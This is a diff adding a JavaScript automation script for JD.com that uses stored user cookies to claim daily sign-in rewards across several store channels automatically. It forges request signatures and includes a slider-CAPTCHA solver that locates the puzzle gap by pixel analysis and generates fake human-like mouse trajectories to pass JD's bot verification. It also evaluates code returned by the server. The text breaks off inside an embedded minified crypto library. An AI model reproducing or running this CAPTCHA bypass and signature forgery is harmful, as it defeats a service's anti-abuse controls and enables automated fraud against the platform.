(process.env.JD_invokeKey ? process.env.JD_invokeKey : `${$.invokeKey}`) : ($.getdata('JD_invokeKey') ? $.getdata('JD_invokeKey') : `${$.invokeKey}`); +let lkt = 0 + +if ($.isNode()) { + if(process.env.JOY_HOST){ + JD_API_HOST = process.env.JOY_HOST + } + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const turnTableId = [ + { "name": "京东商城-健康", "id": 527, "url": "https://prodev.m.jd.com/mall/active/w2oeK5yLdHqHvwef7SMMy4PL8LF/index.html" }, + { "name": "京东商城-清洁", "id": 446, "url": "https://prodev.m.jd.com/mall/active/2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6/index.html" }, + { "name": "京东商城-个护", "id": 336, "url": "https://prodev.m.jd.com/mall/active/2tZssTgnQsiUqhmg5ooLSHY9XSeN/index.html" }, + { "name": "京东商城-母婴", "id": 458, "url": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html" }, + { "name": "京东商城-数码", "id": 347, "url": "https://prodev.m.jd.com/mall/active/4SWjnZSCTHPYjE5T7j35rxxuMTb6/index.html" }, + { "name": "PLUS会员定制", "id": 1265, "url": "https://prodev.m.jd.com/mall/active/N9MpLQdxZgiczZaMx2SzmSfZSvF/index.html" }, + // { "name": "京东商城-童装", "id": 511, "url": "https://prodev.m.jd.com/mall/active/3Af6mZNcf5m795T8dtDVfDwWVNhJ/index.html" }, + // { "name": "京东商城-内衣", "id": 1071, "url": "https://prodev.m.jd.com/mall/active/4PgpL1xqPSW1sVXCJ3xopDbB1f69/index.html" }, + // { "name": "京东超市", "id": 1204, "url": "https://pro.m.jd.com/mall/active/QPwDgLSops2bcsYqQ57hENGrjgj/index.html" }, +] + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.nickName = ''; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + beanNum = 0 + successNum = 0 + errorNum = 0 + invalidNum = 0 + subTitle = ''; + lkt = new Date().getTime() + await getUA() + await signRun() + const UTC8 = new Date().getTime() + new Date().getTimezoneOffset()*60000 + 28800000; + $.beanSignTime = new Date(UTC8).toLocaleString('zh', {hour12: false}).replace(' 24:',' 00:'); + let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n【签到时间】: ${$.beanSignTime}\n【签到概览】: 成功${successNum}个, 失败${errorNum}个${invalidNum && ",失效"+invalidNum+"个" || ""}\n${beanNum > 0 && "【签到奖励】: "+beanNum+"京豆\n" || ""}` + message += msg + '\n' + if($.isNode()) $.msg($.name, msg); + } + } + await showMsg(); +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function showMsg() { + $.msg($.name, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); + if ($.isNode() && message) await notify.sendNotify(`${$.name}`, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); +} +async function signRun() { + for (let i in turnTableId) { + $.validatorUrl = turnTableId[i].url || '' + signFlag = 0 + await Login(i) + if(signFlag == 1){ + successNum++; + }else if(signFlag == 2){ + invalidNum++; + }else{ + errorNum++; + } + let time = Math.random() * 2000 + 2000 + console.log(`等待${(time/1000).toFixed(3)}秒`) + await $.wait(parseInt(time, 10)) + } +} + +function Login(i) { + return new Promise(async resolve => { + $.appId = '9a4de'; + await requestAlgo(); + $.get(taskUrl(turnTableId[i].id), async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (data.hasSign === false) { + // let arr = await Faker.getBody($.UA,turnTableId[i].url) + // fp = arr.fp + // await getEid(arr) + $.appId = 'b342e'; + await requestAlgo(); + await Sign(i,1) + // console.log("验证码:"+$.validate) + if($.validate){ + if($.validatorTime < 33){ + let time = Math.random() * 5000 + 33000 - $.validatorTime*1000 + console.log(`等待${(time/1000).toFixed(3)}秒`) + await $.wait(parseInt(time, 10)) + } + await Sign(i,3) + } + let time = Math.random() * 5000 + 32000 + console.log(`等待${(time/1000).toFixed(3)}秒`) + await $.wait(parseInt(time, 10)) + } else if (data.hasSign === true) { + if(data.records && data.records[0]){ + for(let i in data.records){ + let item = data.records[i] + if((item.hasSign == false && item.index != 1) || i == data.records.length-1){ + if(item.hasSign == false) i = i-1 + // beanNum += Number(data.records[i].beanQuantity) + break; + } + } + } + signFlag = 1; + console.log(`${turnTableId[i].name} 已签到`) + }else{ + signFlag = 2; + console.log(`${turnTableId[i].name} 无法签到\n签到地址:${turnTableId[i].url}\n`) + } + } else { + if (data.errorMessage) { + if(data.errorMessage.indexOf('已签到') > -1 || data.errorMessage.indexOf('今天已经签到') > -1){ + signFlag = 1; + } + console.log(`${turnTableId[i].name} ${data.errorMessage}`) + } else { + console.log(`${turnTableId[i].name} ${JSON.stringify(data)}`) + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function Sign(i,t) { + return new Promise(resolve => { + let options = tasPostkUrl(turnTableId[i].id) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 签到: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + $.validate = '' + let res = $.toObj(data,data) + if (typeof res === 'object') { + if (res.success && res.data) { + let resData = res.data + if (Number(resData.jdBeanQuantity) > 0) beanNum += Number(resData.jdBeanQuantity) + signFlag = true; + console.log(`${turnTableId[i].name} 签到成功:获得 ${Number(resData.jdBeanQuantity)}京豆`) + } else { + if (res.errorMessage) { + if(res.errorMessage.indexOf('已签到') > -1 || res.errorMessage.indexOf('今天已经签到') > -1){ + signFlag = true; + }else if(res.errorMessage.indexOf('进行验证') > -1){ + await injectToRequest('channelSign') + }else if(res.errorMessage.indexOf('火爆') > -1 && t == 2){ + await Sign(i,2) + }else{ + console.log(`${turnTableId[i].name} ${res.errorMessage}`) + } + } else { + console.log(`${turnTableId[i].name} ${data}`) + } + } + } else { + console.log(`${turnTableId[i].name} ${data}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(turnTableId) { + let time = Date.now() + let body = {"turnTableId":`${turnTableId}`} + let t = [{"key":"appid","value":"jdchoujiang_h5"},{"key":"body","value":$.CryptoJS.SHA256($.toStr(body,body)).toString()},{"key":"client","value":""},{"key":"clientVersion","value":""},{"key":"functionId","value":"turncardChannelDetail"},{"key":"t","value":time}] + let h5st = geth5st(t) || 'undefined' + let url = `https://api.m.jd.com/api?client=&clientVersion=&appid=jdchoujiang_h5&t=${time}&functionId=turncardChannelDetail&body=${JSON.stringify(body)}&h5st=${h5st}` + return { + url, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + "Origin": "https://prodev.m.jd.com", + "Referer": "https://prodev.m.jd.com/", + "User-Agent": $.UA, + } + } +} +function tasPostkUrl(turnTableId) { + let time = Date.now() + let body = {"turnTableId":`${turnTableId}`,"fp":fp,"eid":eid} + if($.validate){ + body["validate"] = $.validate + } + let t = [{"key":"appid","value":"jdchoujiang_h5"},{"key":"body","value":$.CryptoJS.SHA256($.toStr(body,body)).toString()},{"key":"client","value":""},{"key":"clientVersion","value":""},{"key":"functionId","value":"turncardChannelSign"},{"key":"t","value":time}] + let h5st = geth5st(t) || 'undefined' + let url = `https://api.m.jd.com/api?client=&clientVersion=&appid=jdchoujiang_h5&functionId=turncardChannelSign&t=${time}&body=${(JSON.stringify(body))}&h5st=${h5st}` + return { + url, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + 'Cookie': cookie, + "Origin": "https://prodev.m.jd.com", + "Referer": "https://prodev.m.jd.com/", + "User-Agent": $.UA, + } + } +} + +async function requestAlgo() { + var s = "", a = "0123456789", u = a, c = (Math.random() * 10) | 0; + do{ + ss = getRandomIDPro({ size: 1 ,customDict:a})+"" + if(s.indexOf(ss) == -1) s += ss + }while (s.length < 3) + for(let i of s.slice()) u = u.replace(i,'') + $.fp = getRandomIDPro({size:c, customDict:u})+""+s+getRandomIDPro({size:(14-(c+3))+1, customDict:u})+c+"" + let opts = { + url: `https://cactus.jd.com/request_algo?g_ty=ajax`, + headers: { + 'Accept': 'application/json', + 'Content-Type': 'application/json', + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + 'Origin': 'https://prodev.m.jd.com', + 'Referer': 'https://prodev.m.jd.com/', + 'User-Agent': $.UA, + }, + body: `{"version":"3.0","fp":"${$.fp}","appId":"${$.appId}","timestamp":${Date.now()},"platform":"web","expandParams":""}` + } + return new Promise(async resolve => { + $.post(opts, (err, resp, data) => { + try { + const { ret, msg, data: { result } = {} } = JSON.parse(data); + $.token = result.tk; + $.genKey = new Function(`return ${result.algo}`)(); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getRandomIDPro() { + var e, + t, + a = void 0 === (n = (t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}).size) ? 10 : n, + n = void 0 === (n = t.dictType) ? 'number' : n, + i = ''; + if ((t = t.customDict) && 'string' == typeof t) e = t; + else + switch (n) { + case 'alphabet': + e = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; + break; + case 'max': + e = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-'; + break; + case 'number': + default: + e = '0123456789'; + } + + for (; a--;) i += e[(Math.random() * e.length) | 0]; + return i; +} +function geth5st(t){ + // return '' + let a = t.map(function(e) { + return e["key"] + ":" + e["value"] + })["join"]("&") + let time = Date.now() + let hash1 = '' + let timestamp = format("yyyyMMddhhmmssSSS", time); + hash1 = $.genKey($.token, $.fp.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString(); + const hash2 = $.CryptoJS.HmacSHA256(a, hash1.toString()).toString(); + let h5st = ["".concat(timestamp.toString()), "".concat($.fp.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2),"3.0","".concat(time)].join(";") + return h5st +} +function format(a, time) { + if (!a) a = 'yyyy-MM-dd'; + var t; + if (!time) { + t = Date.now(); + } else { + t = new Date(time); + } + var e, + n = new Date(t), + d = a, + l = { + 'M+': n.getMonth() + 1, + 'd+': n.getDate(), + 'D+': n.getDate(), + 'h+': n.getHours(), + 'H+': n.getHours(), + 'm+': n.getMinutes(), + 's+': n.getSeconds(), + 'w+': n.getDay(), + 'q+': Math.floor((n.getMonth() + 3) / 3), + 'S+': n.getMilliseconds(), + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, ''.concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + Object.keys(l).forEach(e => { + if (new RegExp('('.concat(e, ')')).test(d)) { + var t, + a = 'S+' === e ? '000' : '00'; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[e] : ''.concat(a).concat(l[e]).substr(''.concat(l[e]).length)); + } + }); + return d; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function getUA(){ + $.UA = `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + + +async function injectToRequest(scene = 'cww') { + console.log('JDJR验证中......'); + let res = await new JDJRValidator().run(scene, eid); + if(res.validate){ + $.validate = res.validate + } +} + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + // console.log(imgBg); + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + // this.w = 260; + // this.h = 101; + } + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + return this.recognize(); + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + for (let x = 0; x < width; x++) { + var sum = 0; + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + sum += luma; + } + lumas.push(sum / PUZZLE_GAP); + } + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + for (let x = 0; x < width; x++) { + var sum = 0; + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + sum += luma; + } + lumas.push(sum / PUZZLE_GAP); + } + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + // not found + return -1; + } +} +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.count = 0; + } + async run(scene = 'cww', eid='') { + const tryRecognize = async () => { + const x = await this.recognize(scene, eid); + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + this.count++; + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + if (result.message === 'success') { + // console.log(result); + $.validatorTime = (Date.now() - this.t) / 1000 + console.log(`JDJR验证用时: ${$.validatorTime}秒`); + return result; + } else { + console.log(`验证失败: ${this.count}/${validatorCount}`); + // console.log(JSON.stringify(result)); + if(this.count >= validatorCount){ + console.log("JDJR验证次数已达上限,退出验证"); + return result; + }else{ + // await sleep(300); + return await this.run(scene, eid); + } + } + } + + async recognize(scene, eid) { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: eid}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + // console.log(JSON.stringify(re)) + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: eid, + s: '', + o: '', + o1: 0, + u: $.validatorUrl || 'https://prodev.m.jd.com', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.clear() + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA,...{"scene": scene}, ...data, ...extraData}).toString(); + const url = `https://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'Connection': 'keep-alive', + 'Host': "iv.jd.com", + 'Referer': 'https://prodev.m.jd.com/', + 'User-Agent': $.UA, + }; + + const req = https.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 20; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +function CryptoScripts() { + // prettier-ignore + !function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var t,e,r,i,n,o,s,c,a,h,l,f,d,u,p,_,v,y,g,B,w,k,S,m,x,b,H,z,A,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,mt=mt||function(t){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&"undefined"!=typeof global&&global.crypto&&(e=global.crypto),!e&&"function"==typeof require)try{e=require("crypto")}catch(e){}function r(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var i=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var o={},s=o.lib={},c=s.Base={extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},a=s.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||l).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var e=this.words,r=this.sigBytes;e[r>>>2]&=4294967295<<32-r%4*8,e.length=t.ceil(r/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],i=0;i>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new a.init(r,e/2)}},f=h.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new a.init(r,e)}},d=h.Utf8={stringify:function(t){try{return decodeURIComponent(escape(f.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return f.parse(unescape(encodeURIComponent(t)))}},u=s.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var r,i=this._data,n=i.words,o=i.sigBytes,s=this.blockSize,c=o/(4*s),h=(c=e?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*s,l=t.min(4*h,o);if(h){for(var f=0;f>>32-e}function Dt(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var 